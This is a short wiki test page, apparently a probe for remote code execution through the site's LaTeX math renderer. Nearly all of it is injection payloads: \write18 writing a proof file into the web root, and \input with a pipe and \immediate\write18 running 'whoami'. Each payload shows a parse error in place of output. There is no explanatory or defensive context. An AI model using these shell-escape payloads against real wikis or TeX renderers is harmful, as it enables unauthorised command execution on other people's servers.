Test/MathRCE

Test page with math formulas:

Failed to parse (Cannot write to or create math temp directory): \write18{echo RCE > C:\inetpub\wwwroot\wiki\rce_proof.txt}

Failed to parse (Cannot write to or create math temp directory): \input{|"whoami"}

Failed to parse (Cannot write to or create math temp directory): \immediate\write18{whoami}

Regular math: Failed to parse (Cannot write to or create math temp directory): E = mc^2